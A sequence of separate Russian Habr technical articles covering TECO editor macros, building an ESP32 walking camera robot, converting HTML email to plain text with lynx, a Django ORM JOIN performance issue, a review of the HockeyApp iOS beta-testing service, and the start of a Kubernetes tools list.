Stop using your fancy IDEs, TECO for the win!
Bye.
*
```
Супер! Переменные, циклы — это уже похоже на настоящее программирование. Можно идти на собеседование на должность Senior TECO Developer. Кстати, о собеседованиях. Давайте напишем макрос [FizzBuzz](https://habrahabr.ru/post/298134/) на TECO. Не знаю, делал ли это кто-то до меня.
Тут пригодилось бы деление с остатком на 15, но операции деления с остатком, к сожалению, нет. Зато есть деление нацело, поэтому можно выразить через `x-x/15*15`. Правда приоритетов операций тоже нет, поэтому придётся писать `-x/15*15+x`. Далее в зависимости от остатка надо сделать разные вещи. Если остаток 0, напечатать `FizzBuzz`, если 3, 6, 9 или 12, то `Fizz`, если 5 или 10, то `Buzz`, а иначе — входное число. Для этого пригодится команда `O`. Без числового аргумента это безусловный прыжок (то есть GOTO), а с числовым аргументом — это вроде switch: `nO` прыгает на n-ную метку, перечисленную через запятую, если она есть. Метки выглядят как `!метка!` (так же пишут и комментарии — это просто метка, на которую никто не прыгает). Создадим метки `!f!` (для Fizz), `!b!` (для Buzz) и `!fb!` (для FizzBuzz), а также `!e!` — конец для выпрыгивания наружу, а-ля `break`. Вот весь макрос, включая команду его записи в Q-регистр `F`:
```
*^UF
UA-QA/15*15+QA@O/fb,,,f,,b,f,,,f,b,,f/QA=@O/e/!fb!@^A/Fizz/!b!@^A/Buzz
/@O/e/!f!@^A/Fizz
/!e!$$
```
Заметьте, что в команду `^A` я передаю перевод строки, чтобы вывести его на экран. Представляете, в Java до сих пор нет многострочных литералов, а в TECO они уже были больше полувека назад! Ещё я немного сэкономил, сделав "fallthrough" после ветки `!fb!` и напечатав "FizzBuzz" из двух половинок. Совсем как в обычном switch-case операторе.
Интересно, что макрос начинается с `UA`: записать в регистр `A` число. А какое число? Очень просто — аргумент этого самого макроса. Его надо указать просто перед вызовом. Проверяем:
```
*4MF$$
4
*5MF$$
Buzz
*105MF$$
FizzBuzz
*87MF$$
Fizz
*44MF$$
44
*
```
Супер, мы прошли собеседование! Последний мой эксперимент потребовался, чтобы сделать КДПВ к этой статье. Как написать программу, которая выведет решётками нужные буквы? Похоже, что в языке нет никаких массивов и структур данных. Но зато есть текстовый буфер! Я загнал знакогенератор туда в виде `<символ><первая строка битовой маски><символ><вторая строка битовой маски>...` (Команда `HK` очистит текущее содержимое буфера):
```
*HK@I/H130H130H124H130H130A62A66A254A130A130B254B128B252B130B252R252R130R252R128R128R/$$
```
Спозиционироваться на нужное число можно с помощью `J<номер строки>@S/<символ>/`, потому что числовой параметр S позволяет найти энное вхождение заданной строки. Я не нашёл как выполнить команду, параметризованную произвольным текстовым параметром, поэтому сформировал команду в Q-регистре D (`:^UD` дописывает в конец, а просто `^UD` заменяет текст в Q-регистре) и выполнил её как макрос. Затем распарсить число можно с помощью команды обратный слэш `\`. Ещё нам потребуются условные операторы: `"N<команда>'` — выполнить, если числовой аргумент не ноль, а `"E<команда>'` — выполнить, если числовой аргумент ноль. Ветку «иначе» тоже можно создать, отделив её трубой. Таким образом, вывод пробела или решётки делается через `"E32^T|35^T'`, где `^T` печатает символ с соответствующим ASCII-кодом. Ещё полезная команда `%<регистр>`, увеличивающая численное значение в соответствующем Q-регистре на единицу.
Регистры я использовал так (чтобы не запутаться, каждый использовался только для числа или для строки):
* A — текущая строка текущей буквы в виде битовой маски
* B — 2^N, где N — текущий бит
* C — строчка, которую надо вывести, все символы должны быть в знакогенераторе
* D — автогенерируемый макрос для поиска битовой маски в знакогенераторе
* E — счётчик текущей буквы
* F — счётчик строк (1-6)
```
@^UC/HABRAHABR/1UF!bl!0UE!bm!J@^UD/@S|/QEQC:^UD@:^UD/|/QFMD$
\UAC128UB!br!QB&QA"E32^T|35^T'QB/2UBQB"N@O/br/'%E^[QE-:QC"N@O/bm/'@^A/
/%F^[QF-6"N@O/bl/'$$
```
На TECO было написано множество макросов, причём довольно сложных. Разумеется, чтобы хоть что-то понять, хорошо бы структурировать макрос, вставлять переводы строки, отступы и комментарии. Однако выясняется, что это сильно замедляет обработку макроса. Поэтому придумали минимайзеры. [Вот код](https://github.com/blakemcbride/TECOC/blob/c8868c7fcb305162e87b89411fe40906f293d8d9/lib/squ.tes) такого минимайзера до минификации, [вот он же](https://github.com/blakemcbride/TECOC/blob/c8868c7fcb305162e87b89411fe40906f293d8d9/lib/squ.tec) после. Что-то похожее мы наблюдаем сегодня в мире JavaScript.
Интересно, что имеются команды чтения символа с клавиатуры, в связи с чем макрос можно сделать интерактивным. Используя возможности вывода терминалов через Escape-последовательности, легко позиционировать курсор на экране, обновлять текст фрагментами и переключать цвета. Таким образом с помощью макроса можно обработать каждый вводимый символ или специальную клавишу и сделать интерактивный режим редактирования. Примерно таким образом родился Emacs, который изначально действительно был макросом к TECO, и только потом был переписан как отдельное приложение. | https://habr.com/ru/post/351416/ | null | ru | null |
# Создание Strider Walker V6 — шагающего робота с камерой
В этом материале речь пойдёт о создании шагающего робота Strider Walker V6, оснащённого камерой.
[](https://habr.com/ru/company/ruvds/blog/591701/)
*Шагающий робот*
Материалы
---------
* Плата разработчика TTGO T-Journal ESP32.
* Модуль камеры OV2640 или OV3660 с немного более длинным, чем обычно, соединителем.
* Два сервопривода 4.3g с возможностью вращения на 360 градусов.
* Два литий-полимерных аккумулятора 801525.
* Две скрепки для бумаг.
* Коаксиальный соединитель с разъёмом SMA для установки на печатную плату.
* Короткая SMA-антенна.
* 60-100 винтов M1.2 (3,6 мм).
Шаг 1. Изготовление осей из скрепок
-----------------------------------
*Выравниваем скрепки и режем их на две части*
*Участок скрепки длиной 24 мм оставляем прямым, а из оставшейся части скрепки формируем ушко*
*Изготовим четыре таких оси*
Шаг 2. Доработка сервоприводов
------------------------------
*Сервопривод*
*Наметим линии резки*
*Разберём корпус сервопривода*
*Разрежем корпус сервопривода*
*Завершим резку корпуса*
*Соберём подготовленный сервопривод*
*Завершим сборку*
*Обрежем ось сервопривода*
Шаг 3. Замена антенны на плате TTGO T-Journal
---------------------------------------------
*Отпаяем антенну с платы и припаяем коаксиальный разъём*
*Установим в разъём короткую антенну*
Шаг 4. 3D-печать
----------------
Необходимые [STL-файлы](https://www.thingiverse.com/thing:5115055) размещены на Thingiverse. Их надо загрузить и напечатать детали робота.
Шаг 5. Сборка ножек робота
--------------------------
Нам нужны 6 пар ножек. Мы называем их детали leg1, leg2, leg3 и leg4. Эти же названия применяются и при именовании STL-файлов с моделями ножек. Рассмотрим процедуру их сборки.
*Детали leg1, leg2, leg3 и leg4*
*Соединяем детали leg2 и leg3 с помощью винта*
*Прикручиваем то, что получилось, к leg1*
*Соединяем винтом leg3 и leg4*
*Соберём ещё одну ножку, повторив вышеописанные действия*
*Соединим винтом детали leg2 и leg4 двух ножек*
*Соединим другие детали leg2 и leg4 двух ножек*
Шаг 6. Установка сервоприводов
------------------------------
*Сервопривод и внутренняя часть корпуса робота*
*Поместим провода в отверстие на корпусе*
*Поместим сервопривод в отверстие на корпусе*
*Прикрутим сервопривод с наружной стороны корпуса*
*Прикрутим сервопривод со внутренней стороны корпуса*
Шаг 7. Установка кривошипного механизма и ножек
-----------------------------------------------
Здесь используются детали, называемые axis1, axis2 и axis3. Эти же названия используются в именах соответствующих STL-файлов.
*Присоединим деталь axis1 к сервоприводу*
*Установим пару ножек на axis1*
*Установим axis2*
*Установим следующую пару ножек на axis2*
*Установим ещё одну деталь axis2*
*Установим последнюю пару ножек на axis2*
*Установим деталь axis3*
Шаг 8. Установка осей, изготовленных из скрепок
-----------------------------------------------
Перед установкой осей нужно выровнять все детали ножек leg1, после чего оси пропускают через отверстия в корпусе и через отверстия в деталях leg1.
*Начало установки первой оси*
*Начало установки первой оси, вид сбоку*
*Продолжение установки первой оси*
*Установка первой оси почти завершена*
*Завершение установки первой оси, вид сбоку*
*Завершение установки первой оси, вид спереди*
*Завершение установки двух осей, вид спереди*
Шаг 9. Проверка сервопривода
----------------------------
*Испытание сервопривода с целью проверки правильности перемещения ножек*
Шаг 10. Сборка и установка второй стороны робота
------------------------------------------------
*Повторим шаги 6-9 для сборки второй стороны робота*
Шаг 11. Подключение сервоприводов к плате TTGO T-Journa
-------------------------------------------------------
*Робот, готовый к установке платы TTGO T-Journal*
*Обрежем провода сервоприводов*
*Припаяем провода левого сервопривода к контактам GPIO 2, 3V3 и GND, а провода правого сервопривода — к контактам GPIO 4, 3V3 и GND.*
Шаг 12. Установка аккумуляторов
-------------------------------
*Поместим два аккумулятора в корпус робота*
*Соединим аккумуляторы параллельно для того чтобы в нашем распоряжении оказалось больше энергии*
*Завершим подключение аккумуляторов*
Шаг 13. Взвешивание робота
--------------------------
*Взвешивание робота*
Шаг 14. Программирование робота
-------------------------------
Этот материал ориентирован, в основном, на описание новой аппаратной части шагающего робота. Программной части робота посвящены шаги 26 — 28 [этого](https://www.instructables.com/Strider-Camera-Robot/) материала.
Приведём здесь их краткое описание.
Вот какие программы и библиотеки вам понадобятся:
* [Arduino IDE](https://www.arduino.cc/en/main/software)
* [arduino-esp32](https://github.com/espressif/arduino-esp32)
* [arduino-esp32fs-plugin](https://github.com/lorol/arduino-esp32fs-plugin)
* [FSBrowserPlus](https://github.com/moononournation/FSBrowserPlus)
* [ESPAsyncWebServer](https://github.com/me-no-dev/ESPAsyncWebServer)
В файле `FSBrowserPlus.ino` нужно раскомментировать строку, соответствующую модели вашей камеры. Остальные строки, имеющие отношение к другим камерам, должны быть закомментированы. Например, для `CAMERA_MODEL_ESP32_CAM_ROBOT` это выглядит так:
```
// Select camera model
// #define CAMERA_MODEL_WROVER_KIT // Has PSRAM
// #define CAMERA_MODEL_ESP_EYE // Has PSRAM
// #define CAMERA_MODEL_M5STACK_PSRAM // Has PSRAM
// #define CAMERA_MODEL_M5STACK_V2_PSRAM // M5Camera version B Has PSRAM
// #define CAMERA_MODEL_M5STACK_WIDE // Has PSRAM
// #define CAMERA_MODEL_ESP32_CAM // Has PSRAM
#define CAMERA_MODEL_ESP32_CAM_ROBOT // Has PSRAM
// #define CAMERA_MODEL_M5STACK_ESP32CAM // No PSRAM
// #define CAMERA_MODEL_TTGO_T_JOURNAL // No PSRAM
// #define CAMERA_MODEL_JSZWY_CYIS
#include "cameraAPI.h
```
Обратите внимание на то, что в нашем случае раскомментированной должна быть следующая строка:
```
#define CAMERA_MODEL_TTGO_T_JOURNAL_ROBOT
```
В `camera_pins.h` должны быть описаны выводы, управляющие сервоприводами. В случае с `CAMERA_MODEL_ESP32_CAM_ROBOT` это выглядит так:
```
#define MOTOR
#define MotorL_A_Pin 13
#define MotorL_B_Pin 12
#define MotorR_A_Pin 2
#define MotorR_B_Pin 14
```
Для настройки светодиода используется файл `camerarobot.htm`, там, в районе строки 616, можно настроить пин, к которому подключён светодиод:
```
const query = `${baseHost}/gpio?pin=4&val=${value}`;
```
Готовый код компилируют и загружают на устройство. Теперь с роботом можно поэкспериментировать.
Планируете ли вы создать собственного шагающего робота?
[](https://ruvds.com/ru-rub/news/read/151?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=sozdanie_strider_walker_v6_%E2%80%94_shagayushhego_robota_s_kameroj) | https://habr.com/ru/post/591701/ | null | ru | null |
# Генерация текстовых версий писем из HTML с помощью lynx
#### Введение
Email-рассылки, отправляемые через Печкин, в большинстве своем содержат как html-версию письма, так и plain-text версию. Отправить рассылку без HTML-версии можно, а вот, отправив ее без plain-text, вы рискуете лишиться ряда подписчиков, почтовые клиенты которых без сожаления вырезают html-версии писем в целях безопасности. Особенно этим отличаются корпоративные аккаунты, почтовые администраторы которых заботятся о защите своих подопечных от спама и вирусов.
#### Ставим задачу
Итак, plain-text версия письма необходима, это факт. Но как же сложно заставить себя написать ее, если вы только что потратили кучу времени на создание html-версии своей рассылки. Очевидно, что Печкин должен снимать эту нагрузку и автоматически генерировать текстовую версию писем для наших клиентов. Но как это сделать?
Мы перепробовали многое:
* разнообразные регулярные выражения
* кучу разных библиотек для парсинга html
Все было криво и невпопад, класс для генерации увеличивался на глазах, а косяки шли за косяками. А ведь нам требовалось просто и красивое решение, которое позволяло бы:
* выделять заголовки и подзаголовки
* выделять и аккуратно отображать ссылки
* следить за количеством переносов и аккуратно распологать блоки с текстом для их читаемости
* делать все это быстро
#### Решение на lynx
И тут, неожиданно для нас, всплыло решение с помощью технологии из 90-х годов прошлого века, появившейся на заре возникнования интернета. Текстовый браузер! Ну, конечно, скармливаем ему наш html-код и на выходе получаем его превосходно отображаемую текстовую версию, со всеми ссылками, заголовками итд. За базу был взят Lynx, работает он быстро, да и один из наших разработчиков использовал его ранее для своих SEO-целей.
Пришлось немного поднастроить его для восприятия русского языка в наших рассылках. Настройки в lynx.cfg на Debian (кодировка всех рассылок на Печкине — UTF-8):
```
LOCALE_CHARSET:FALSE
ASSUME_CHARSET:utf-8
CHARACTER_SET:utf-8
MAKE_PSEUDO_ALTS_FOR_INLINES:FALSE
```
И, вуаля, с помощью простой команды:
```
lynx -dump
```
получаем красивую текстовую версию письма.
В результате, вместо массивного класса для генерации мы реализовали простейшую функцию, которую Печкин использует каждый раз при создании вами рассылки.
Данный автоматический конвертер доступен в [Печкин.Лаборатории](http://pechkin-mail.ru/?page=labs) для всех подряд, даже если у вас нет аккаунта на Печкине.
Ссылка на демонстрацию работы: [labs.pechkin-mail.ru/html2text](http://labs.pechkin-mail.ru/html2text/) | https://habr.com/ru/post/180993/ | null | ru | null |
# Лишние join в SQL запросах
Делая отладку производительности небольшого проекта, но с достаточно большой базой, столкнулся с неприятным спецэффектом.
Django при выборках с условиями по внешним ключам, связанным с проверкой на NULL, генерирует запросы, содержащие JOIN по каждому такому ключу. К примеру, для модели
```
class ForumPlugin(models.Model):
name = models.CharField(
null=False,
blank=False,
max_length=50,
unique=True,
verbose_name=_('name')
)
class Thread(MPTTModel):
parent = TreeForeignKey(
'self',
null=True,
blank=True,
related_name='children',
verbose_name=_('parent thread')
)
plugin = models.ForeignKey(
ForumPlugin,
null=True,
blank=True,
related_name='threads',
verbose_name=_('plugin')
)
```
При выполнении выборки
```
Thread.objects.filter(plugin__isnull=True, parent__isnull=True)
```
Djando формирует такой запрос:
```
SELECT `forum_thread`.`id`, `forum_thread`.`parent_id`, `forum_thread`.`plugin_id`, `forum_thread`.`lft`, `forum_thread`.`rght`, `forum_thread`.`tree_id`, `forum_thread`.`level` FROM `forum_thread` LEFT OUTER JOIN `forum_thread` T2 ON (`forum_thread`.`parent_id` = T2.`id`) LEFT OUTER JOIN `forum_forumplugin` ON (`forum_thread`.`plugin_id` = `forum_forumplugin`.`id`) WHERE (T2.`id` IS NULL AND `forum_forumplugin`.`id` IS NULL AND ) ORDER BY `forum_thread`.`id
```
Естественно время исполнения такого запроса увеличивается на несколько порядков, что при больших таблицах может быть критично. Так на моем проекте на таблице порядка 20-30к записей такая выборка вместо положенной 1мс выполняется от 100мс до 300мс, что увеличивает время генерации страницы вдвое.
К сожалению бага разработчикам ORM известна уже четыре года и имеет [долгую и печальную историю](https://code.djangoproject.com/ticket/10790).
В данный момент присутствует во всех стабильных версиях, в том числе в 1.4.3. Предполагается, что в 1.5 она наконец-то будет исправлена.
В качестве обходного пути советуют использовать двойное отрицание:
```
Thread.objects.exclude(plugin__isnull=False, parent__isnull=False)
```
но мне не удалось на практике таким способом избавится от проблемы. Обращение напрямую к полю parent\_id также не помогает.
Будьте внимательны при проектировании моделей и старайтесь учитывать эту особенность Django, и избегать выборок по внешним ключам с использованием NULL условий.
**UPD:** Найдено решение:
```
Category.objects.extra(where=['parent_id IS NULL'])
```
Использовать raw sql это конечно дурной тон, но судя по всему это единственное решение. | https://habr.com/ru/post/165895/ | null | ru | null |
# Сервисы дистрибуции мобильных приложений для iOS. Часть 2: HockeyApp
Вступление
==========
Вторая часть обзора будет посвящена сервису [HockeyApp](http://hockeyapp.net/features/), с первой частью обзора можно ознакомиться [тут](http://habrahabr.ru/company/arcadia/blog/248439/).
По всей видимости, Miscrosoft решила не отставать от компании Apple, в результате чего в начале декабря было объявлено о приобретении **HockeyApp** (подробнее в [блоге HockeyApp](http://hockeyapp.net/blog/2014/12/11/hockeyapp-joins-microsoft.html) и [на сайте Microsoft](http://blogs.msdn.com/b/somasegar/archive/2014/12/08/microsoft-acquires-hockeyapp-leading-mobile-crash-analytics-and-beta-distribution-service-for-ios-android-and-windows-phone.aspx)). В отличие от Apple, Microsoft не стала урезать функционал сервиса или ограничивать список поддерживаемых платформ. В пресс-релизе говорится, что сервис продолжит свою работу без изменений, а в дальнейшем получит развитие, о подробностях которого мы узнаем позже.
*Система оценки: сервисы оцениваются по 10-балльной шкале по каждому из разделов (Регистрация и интеграция, Основной функционал, Дополнительный функционал, Continuous Integration). Суммарная оценка позволит определить победителя (итоговое заключение войдет в последнюю часть обзора).*
HockeyApp
=========
Регистрация и интеграция
------------------------
Регистрация в сервисе простая, с обязательным подтверждением по электронной почте. Бесплатный аккаунт не дает возможности полноценного использования сервиса — доступно только участие в качестве тестера, либо использование сервиса без ограничений в составе другой команды (аккаунта организации). Для того чтобы оценить сервис, возможно включить режим Trial — на 1 месяц (причём отсчет trial-период начнётся только с момента создания профиля первого приложения, а не со дня регистрации). Стоимость платного аккаунта начинается от $10 в месяц, подробнее можно ознакомиться [здесь](http://hockeyapp.net/pricing/). Из плюсов можно отметить, что для любого типа платных аккаунтов отсутствуют ограничения на размер хранимых данных и количество пользователей, привязанных к аккаунту. Отличие разных тарифных планов в количество приложений и количестве аккаунтов с типом “Owner” (только для тарифных планов категории “Business”).
Единственное пожелание к процессу создания аккаунта: сделать более понятным результат выбора опции “I’m developer”:
Сейчас, когда по умолчанию она не выбрана, следующее далее пояснение можно воспринять как список возможностей, которые уже доступны, а в случае выбора опции, как ожидается, должно появиться ещё что-то. На самом же деле аккаунт по умолчанию позволяет только просматривать список доступных приложений (и, конечно, устанавливать их), добавлять свои устройства и оставлять отзывы.
Отдельно хотелось бы отметить, что на сайте сервиса имеется специальное руководство для тех разработчиков, кому необходимо произвести миграцию проекта, использующего TestFlight старой версии (до перехода к Apple): [http://support.hockeyapp.net](http://support.hockeyapp.net/kb/about-general-faq/migrate-from-testflight-to-hockeyapp).
Интеграция с SDK тоже достаточно простая, но конечно же далека от идеала, которым, по-моему, на данный момент является решение, используемое **Fabric** (**Crashlytics**) — о нём мы поговорим в заключительной — четвёртой — части обзора.
*Оценка: 7/10.*
Основной функционал
-------------------
*Примечание (обновлено 15 июня 2015): говоря о дистрибуции приложений для iOS необходимо помнить, что на данный момент все сервисы, кроме TestFlight от Apple, по-прежнему должны учитывать ограничение на количество устройств доступных при использовании AdHoc provision profiles. Следовательно, максимум используемых устройств равен 100 на каждое семейство устройств (это условие было изменено 8 июня 2015 года, после объявления на WWDC об объединении всех developers programs в одну), в которые входят в том числе и устройства, используемые непосредственно разработчиками. Самым же большим ограничением является то, что список зарегистрированных устройств можно “обнулять” только раз в год, после продления подписки на iOS Developer Program (возможно в последующем и это условие будет изменено).*
Следующим шагом после активации нового аккаунта HockeyApp (любого типа) становится регистрация устройства, которое будет использовано для установки тестовых версий приложений:
Сервис предлагает несколько способов:
* переход по ссылке в мобильном браузере на устройстве
* считывание QR-кода (в котором закодирована та же ссылка)
* добавление идентификатора вручную
*Интересный момент: при первоначальной регистрации тестового устройства я не получил уведомления по почте, что новое устройство было добавлено и доступно для использования. Однако в дальнейшем, при регистрации нового устройства на другой аккаунт, сервис автоматически определил, что устройство с таким UDID уже включено в provision profile приложения и мне на почту было отправлено извещение с возможностью пригласить нового пользователя в свою команду:*
*Ещё одно замечание общего характера: сайт HockeyApp достаточно часто использует специальные “попапы” для сообщения о результате какого-либо действия. Например, после приглашения нового пользователя наверху страницы появится новый (временный) блок с сообщением:*
*Такой способ можно посчитать удобным (нет необходимости вручную закрывать всплывающие окна с оповещениями), но к нему нужно привыкнуть, так как блок с уведомлением вставляется внутри контейнера с основным содержанием страницы и при его прокрутке блок может скрываться под навигационной панелью, то есть становиться невидимым.*
Сервис также позволяет импортировать список пользователей из текстового файла:
Содержание файла может быть как минималистичным (только адрес электронной почты), так и с дополнительными данными (имя и роль).
*Примечание. Роль кодируется следующим образом:
* “1” означает Developer
* “2” — Member
* “3” — Tester*
Присвоить роль “Owner” (или любую другую) можно на странице управления пользователями. Подробнее о ролях можно узнать [тут](http://support.hockeyapp.net/kb/about-general-faq/how-to-manage-users-and-restrict-builds) и [тут](http://hockeyapp.net/features/teams/).
Новый билд можно отправить либо вручную через сайт сервиса:
Либо в полуавтоматическом режиме, если установлено десктопное приложение — в этом случае достаточно будет выполнить архивирование проекта (Product-Archive) — далее в появившемся попапе выбрать Upload:
А потом закончить публикацию, при необходимости задав дополнительные настройки в появившемся окне:
*Примечание: Release type — может быть Store — в этом случае на сайт сервиса загружаются только отладочные символы — само приложение нельзя скачать из клиента сервиса, но сбор и анализ отчётов о падениях будет производится.*
***Важно:** номер сборки должен всегда увеличиваться! Так как, даже если меняется версия, номер сборки нельзя использовать в значении меньше того, что использовалось до этого. Если же всё-таки нарушить данное правило, то новый билд будет считаться “старым” и, как следствие, не будет работать автоматическое уведомление о наличии новой версии и в информации об истории версий приложения “неправильный” билд окажется не в начале списка ([подробнее](http://support.hockeyapp.net/discussions/problems/34248-uploading-new-version-with-lower-build)).*
Даже если десктопное приложение не было запущено в момент подготовки архива, загрузку всех архивированных версий можно выполнить из раздела “Upload New Build”:
Заметки для релиза могут быть как в простом, текстовом виде, так и с дополнительным форматированием при помощи распространенного языка разметки [Markdown](http://en.wikipedia.org/wiki/Markdown).
При загрузке новой версии приложения через сайт сервиса возможно ограничить доступ к этой версии (при помощи опции Restrict downloads — в десктопном приложение эта опция неактивна).
Также можно выбрать уведомление всех пользователей (которым будет доступна данная версия приложения) или уведомить только отдельных пользователей (при использовании десктопного приложения можно только выбрать между двумя вариантами: рассылать оповещение или не рассылать):
*Примечение: возможно баг: после загрузки новой версии без уведомления кнопка Notify (Manage version, вкладка Status) не приводит ни к каким действиям.*
Также при загрузке можно указать, что данная версия является обязательной — в этом случае пользователь не сможет продолжить использование более старой версии приложения — уведомление о наличии обновления будет показываться каждый раз и от него нельзя отказаться (при условии, что в приложении используется фреймворк сервиса).
Первоначальная установка веб-приложения HockeyApp на мобильном устройстве выполняется в несколько шагов:
Иконка установленного веб-приложения HockeyApp:
Возможность устанавливать предыдущие версии приложения есть, но реализован данный функционал не очень удобно. Он недоступен со страницы приложения на вкладке History, и для того чтобы им воспользоваться необходимо через меню (справа вверху) перейти в раздел Overview, там выбирать подраздел Versions, в нём найти нужную версию, открыть страницу с детальной информацией и уже только там будет доступна установка.
Функционал отправки отзывов в HockeyApp в чём-то лучше реализованого в Apple TestFlight, так как позволяет прикреплять к сообщению до трёх вложений (но такая возможность есть только на планшетах):
Сами вложения помещаются в облачное хранилище AWS, поэтому теоретически есть возможность для отправки как видео-файлов так и простых скриншотов без ограничений на размер файла.
***Важно:** переключение между вкладками Details и Feedback на странице отправки отзыва вызывает её перезагрузку. Имейте это в виду, чтобы не потерять текст набранного сообщения.*
Сразу после отправки отзыва он отображается на вкладке Feedback, но сохраняется там только временно, на мобильных устройствах все сообщения можно просмотреть:
* на iPad: Dashboard — вкладка Feedback
* на iPhone/iPod Touch: детальная информация о приложении — верхнее правое меню — Overview — Feedback
*Примечание: возможность просмотра отправленных сообщений также зависит от роли пользователя и типа устройства.*
Существующие различия в фунционале для устройств разного типа я отношу к недостаткам сервиса. Возможно этот недостаток временный и в дальнейшем функционал и интерфейс будет максимально унифицированы.
Также к недостаткам текущей реализации можно отнести невозможность отслеживать изменения статуса отзыва (Open/Waiting/Resolved/Ignored) для всех пользователей кроме тех, кто входит в группу Owner. Этот функционал доступен им в обычной/”десктопной” версии вебсайта — для пользователей же других групп сервис не осуществляет даже уведомление по электронной почте.
**Важно:** самым же большим недостатком, на мой взгляд, является тот факт, что отзывы не связываются с версией приложения, поэтому её необходимо указывать вручную, если это имеет значение.
Напоследок, в качестве плюса отмечу возможность оставлять комментарии к отзывам (опять же с поддержкой вложений при работе с сервисом на планшете).
*Оценка: 8/10.*
Дополнительный функционал
-------------------------
Думаю, все разработчики согласятся с тезисом “лучше один раз увидеть, чем сто раз услышать” применительно к процессу тестирования программного обеспечения. Действительно, зачастую информация, предоставляемая тестерами является либо неполной, либо ошибочной, так как частично основана на догадках. Поэтому обычных отзывов бывает недостачно и в этом случае на помощь разработчикам приходит дополнительный функционал, в частности “символизация” отчётов о падении приложения.
Подобный функционал в HockeyApp реализован на очень хорошем уровне. Отправка отчётов о падении работает сразу “из коробки” (естественно, если приложение использует фреймворк сервиса). Отчёты могут отправляться в полностью автоматическом режиме (после перезапуска приложения), либо с запросом на отправку с подтверждением пользователем (выбор режима делается один раз и его можно сбросить переустановив приложение).
Если при отправке новой версии использовалось десктопное приложение, либо отладочные символы (\*.dSYM) были загружены дополнительно с \*.ipa, то сервис автоматически проводит “символизацию”, позволяя однозначно определить класс, метод и номер строки, которые стали причиной ошибки:
Также сервис проводит группировку полученных отчётов, помогая оценить масштаб/частоту проблемы и следовательно определить приоритетность в исправлении выявленных ошибок (на скриншоте выше количество отчётов в группе можно увидеть в колонке Count, дополнительно о принципах группирования можно узнать [здесь](http://support.hockeyapp.net/kb/about-general-faq/how-does-hockeyapp-group-crashes)).
Более того, если в десктопном приложении сервиса настроен доступ к репозиторию проекта, в детальной информации для отчёта о падении можно сразу увидеть “цитату” с кодом, а также открыть класс в Xcode:
Дополнительно есть возможность загрузки отчёта о падении вручную, но это возможно сделать только на вебсайте сервиса:
*Примечание: с рекомендациями по разрешению проблем с “символизацией” можно ознакомиться [тут](http://support.hockeyapp.net/kb/client-integration-ios-mac-os-x/how-to-solve-symbolication-problems).*
Кроме того сервис предоставляет возможность интеграции с системой отслеживания ошибок (например, Basecamp или JIRA, полный список [тут](http://support.hockeyapp.net/kb/services-webhooks-desktop-apps/supported-bug-trackers)).
После того как связь с такой системой установлена, сервис может добавлять новые записи (тикеты) в автоматическом режиме:
*Примечание: по умолчанию опция автоматического создания отключена. Также есть возможность задать минимальное количество полученных отчётов в группе, после достижения которого срабатывает автоматизация.*
Вручную создание нового тикета на основе данных об ошибке возможно только на сайте сервиса:
В качестве аналитических данных сервис предлагает графическое представление информации о числе отчётов о падении, скачиваний, установок, а также статистику по использованию той или иной версии приложения:
Исходный код для клиентской части SDK [github.com/bitstadium](https://github.com/bitstadium) доступен всем желающим — таким образом сервис демонстрирует свою прозрачность для Enterprise-клиентов.
Дополнительные ссылки:
* Собранные сервисом данные можно экспортировать через [специальный API](http://support.hockeyapp.net/kb/api)
* [Knowledge base](http://support.hockeyapp.net/kb)
*Оценка: 9/10.*
Continuous Integration
----------------------
*Примечания:
1. Описанные далее нюансы использования сервисов как части непрерывной интеграции (continuous integration) в данном обзоре подразумевают, что она будет делаться на основе решения, предлагаемого компание Apple. То есть при помощи Mac OS X Server и Xcode bots — подробно на организации такой интеграции я не буду останавливаться, возможно это станет темой для отдельной статьи. Желающие могут ознакомиться с темой самостоятельно, например, обратившись к [официальному руководству от Apple](https://developer.apple.com/library/ios/documentation/IDEs/Conceptual/xcode_guide-continuous_integration/).
2. К сожалению на данный момент настройка CI от Apple не всегда проходит гладко. Как правило возникают проблемы с signing identity и provision profiles, для их решения в простом случае достаточно установить последнюю версию OS X Server (на момент публикации 4.0.3 для OS X Yosemite) и в настройках Xcode добавить аккаунт Apple Developer. Если же проблемы остаются, то в моем случае потребовалось:
* добавить используемый сертификат и ключ в keychain System
* скопировать используемый provision profile в папку “/Library/Developer/XcodeServer/ProvisioningProfiles/” (сообщение об ошибке “No provisioning profiles containing one of the following signing identities was found”)
* добавить исключение для codesign в свойствах для ключа (иначе, если бот настроен на создание архива, интеграция не сможет завершиться и будет остановлена с ошибкой “Creating archive failed: xcodebuild exited with status 15”, [подробнее](http://stackoverflow.com/a/27505418/4227272))*
Скрипт для использования вместе c ботами Xcode может быть в двух вариантах: с использованием **curl** или с использованием специальной утилиты **puck** (её можно установить вместе с десктопной версией клиента HockeyApp, [подробнее](http://support.hockeyapp.net/kb/services-webhooks-desktop-apps/how-to-upload-to-hockeyapp-on-a-mac)):
Во втором случае необходимо создать symlink для puck: “sudo ln -s /usr/local/bin/puck /usr/bin/puck”, иначе бот не сможет выполнить нужный скрипт.
Сам скрипт добавляется на последнем шаге мастера создания/настройки бота:
```
puck -download=true -notify=true -force=true -submit=auto -app_id=APP_ID -api_token=API_TOKEN "${XCS_ARCHIVE}"
APP_ID - можно найти на странице приложения
API_TOKEN - создается в настройках аккаунта на вкладке “API Tokens”
```
В качестве дополнительных параметров можно указать (в том числе):
```
-notes= release notes text (single line only!)
-notes\_path= absolute path to release notes file
-tags= restrict version to tags
-teams= restrict version to team IDs
-users= restrict version to user IDs
```
Полный список параметров можно получить запуском “puck -help”.
*Оценка: 9/10.*
***Итого суммарная оценка по всем разделам: 33 балла.***
*[Часть 1. Apple TestFlight](http://habrahabr.ru/company/arcadia/blog/248439/). Продолжение следует...* | https://habr.com/ru/post/250529/ | null | ru | null |
# 90+ полезных инструментов для Kubernetes: развертывание, управление, мониторинг, безопасность и не только
Осенью 2018 года мы опубликовали список из [25 полезных инструментов Kubernetes](https://habr.com/ru/company/mailru/blog/425343/). С тех популярность платформы [сильно выросла](https://security.stackrox.com/rs/219-UEH-533/images/State_of_Container_and_Kubernetes_Report.pdf). Экосистема оркестрации контейнеров бурно развивается, можно найти вспомогательные инструменты практически для любой задачи.
Поэтому команда [Kubernetes aaS от Mail.ru](https://mcs.mail.ru/containers/) обновила и дополнила подборку. Предлагаем вашему вниманию список с почти сотней полезных инструментов, упрощающих жизнь тем, кто работает с Kubernetes.
* [Инструменты развертывания кластера](#1)
* [Инструменты мониторинга](#2)
* [Тестирование](#3)
* [Безопасность](#4)
* [Полезные утилиты](#5)
* [Инструменты разработки](#6)
